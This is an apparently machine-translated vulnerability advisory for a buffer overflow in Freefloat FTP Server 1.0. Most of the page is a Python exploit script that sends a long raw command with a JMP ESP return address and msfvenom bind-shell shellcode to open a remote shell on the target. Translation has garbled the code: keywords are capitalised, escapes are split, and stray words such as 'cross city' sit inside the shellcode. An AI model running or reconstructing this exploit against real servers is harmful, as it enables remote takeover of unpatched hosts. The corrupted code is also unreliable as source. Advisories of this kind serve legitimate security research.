Freefloat FTP Server Raw Command Buffer Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
Freefloat FTP Server 1.00
Description:
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Bugtraq id: 57888
 
Freefloat FTP Server is a free software for uploading files and managing wired and wireless devices.
 
Freefloat FTP Server 1.0 and other versions do not correctly verify user input when processing long invalid raw commands. There is a buffer overflow vulnerability in implementation, attackers can exploit this vulnerability to execute arbitrary code in affected applications.
 
<* Source: superkojiman
*>

Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
#! /Usr/bin/env python

# Exploit Title: FreeFloat FTP raw commands buffer overflow
# Date: 10 Feb 2013
# Exploit Author: superkojiman-http://www.techorganic.com
# Vendor Homepage: http://www.freefloat.com/
# Version: FreeFloat FTP 1.0.
# Tested on: Windows XP Pro SP2, English
#
# Description:
# FreeFloat FTP 1.0 allows an attacker to trigger a buffer overflow and
# Execute arbitrary code when a long and invalid raw command is sent to it.
#

Import socket, struct, sys

If len (sys. argv) <3:
Print "usage: % s IP port" % (sys. argv [0])
Sys. exit (0)

Ip = sys. argv [1]
Port = int (sys. argv [2])

# Bind shellcode generated with msfvenom:
# Msfvenom-p windows/shell_bind_tcp
#-B "\ x00 \ x0a \ x0b \ x27 \ x36 \ xce \ xc1 \ x04 \ x14 \ x3a \ x44 \ xe0 \ x42 \ xa9 \ x0d"
#-E x86/fnstenv_mov
#
# [*] X86/fnstenv_mov succeeded with size 366 (iteration = 1)
Shellcode = (
"\ X6a \ x56 \ x59 \ xd9 \ xee \ xd9 \ x74 \ x24 \ xf4 \ x5b \ x81 \ x73 \ x13 \ xc8" +
"\ X4c \ xab \ x8c \ x83 \ xeb \ xfc \ xe2 \ xf4 \ x34 \ xa4 \ x22 \ x8c \ xc8 \ x4c" +
"\ Xcb \ x05 \ x2d \ x7d \ x79 \ xe8 \ x43 \ x1e \ x9b \ x07 \ x9a \ x40 \ x20 \ xde" +
"\ Xdc \ xc7 \ xd9 \ xa4 \ xc7 \ xfb \ xe1 \ xaa \ xf9 \ xb3 \ x9a \ x4c \ x64 \ cross city" +
"\ Xca \ xf0 \ xca \ x60 \ x8b \ x4d \ x07 \ x41 \ xaa \ x4b \ x2a \ xbc \ xf9 \ xdb" +
"\ X43 \ x1e \ xbb \ x07 \ x8a \ cross \ xaa \ x5c \ x43 \ x0c \ xd3 \ x09 \ x08 \ x38" +
"\ Xe1 \ x8d \ x18 \ x1c \ x20 \ xc4 \ xd0 \ xc7 \ xf3 \ xac \ xc9 \ x9f \ x48 \ xb0" +
"\ X81 \ xc7 \ x9f \ x07 \ xc9 \ x9a \ x9a \ x73 \ xf9 \ x8c \ x07 \ x4d \ x07 \ x41" +
"\ Xaa \ x4b \ xf0 \ xac \ xde \ x78 \ xcb \ x31 \ x53 \ xb7 \ xb5 \ x68 \ xde \ x6e" +
"\ X90 \ xc7 \ xf3 \ xa8 \ xc9 \ x9f \ xcd \ x07 \ xc4 \ x07 \ x20 \ xd4 \ xd4 \ x4d" +
"\ X78 \ x07 \ xcc \ xc7 \ xaa \ x5c \ x41 \ x08 \ x8f \ xa8 \ x93 \ x17 \ xca \ xd5" +
"\ X92 \ x1d \ x54 \ x6c \ x90 \ x13 \ xf1 \ x07 \ xda \ xa7 \ x2d \ xd1 \ xa0 \ x7f" +
"\ X99 \ x8c \ xc8 \ x24 \ xdc \ xff \ xfa \ x13 \ xff \ xe4 \ x84 \ x3b \ x8d \ x8b" +
"\ X37 \ x99 \ x13 \ x1c \ xc9 \ x4c \ xab \ xa5 \ x0c \ x18 \ xfb \ xe4 \ xe1 \ xcc" +
"\ Xc0 \ x8c \ x37 \ x99 \ xfb \ xdc \ x98 \ x1c \ xeb \ xdc \ x88 \ x1c \ xc3 \ x66" +
"\ Xc7 \ x93 \ x4b \ x73 \ x1d \ xc5 \ x6c \ xbd \ x13 \ x1f \ xc3 \ x8e \ xc8 \ x5d" +
"\ Xf7 \ x05 \ x2e \ x26 \ xbb \ xda \ x9f \ x24 \ x69 \ x57 \ xff \ x2b \ x54 \ x59" +
"\ X9b \ x1b \ xc3 \ x3b \ x21 \ x74 \ x54 \ x73 \ x1d \ x1f \ xf8 \ xdb \ xa0 \ x38" +
"\ X47 \ xb7 \ x29 \ xb3 \ x7e \ xdb \ x41 \ x8b \ xc3 \ xf9 \ xa6 \ x01 \ xca \ x73" +
"\ X1d \ x24 \ xc8 \ xe1 \ xac \ x4c \ x22 \ x6f \ x9f \ x1b \ xfc \ xbd \ x3e \ x26" +
"\ Xb9 \ xd5 \ x9e \ xae \ x56 \ xea \ x0f \ x08 \ x8f \ xb0 \ xc9 \ x4d \ x26 \ xc8" +
"\ Xec \ x5c \ x6d \ x8c \ x8c \ x18 \ xfb \ xda \ x9e \ x1a \ xed \ xda \ x86 \ x1a" +
"\ Xfd \ xdf \ x9e \ x24 \ xd2 \ x40 \ xf7 \ xca \ x54 \ x59 \ x41 \ xac \ xe5 \ xda" +
"\ X8e \ xb3 \ x9b \ xe4 \ xc0 \ xcb \ xb6 \ xec \ x37 \ x99 \ x10 \ x7c \ x7d \ xee" +
"\ Xfd \ xe4 \ x6e \ xd9 \ x16 \ x11 \ x37 \ x99 \ x97 \ x8a \ xb4 \ x46 \ x2b \ x77" +
"\ X28 \ x39 \ xae \ x37 \ x8f \ x5f \ xd9 \ xe3 \ xa2 \ x4c \ xf8 \ x73 \ x1d \ x4c" +
"\ Xab \ x8c"
)

# EIP overwritten at offset 251
# Jmp esp 7CA58265 SHELL32.DLL, Windows XP Pro SP2, English
Jmpesp = struct. pack ("<I", 0x7CA58265)
Buf = "\ x41" * 251 + jmpesp + "\ x90" * 129 + shellcode

Print "[+] exploiting target % s: % d" % (ip, port)
Print "[+] try connecting to % s on port 4444" % (ip)

S = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
S. connect (ip, port ))
S. recv (1024)
S. send (buf + "\ r \ n ")

Suggestion:
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Vendor patch:
 
Freefloat
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.freefloat.com/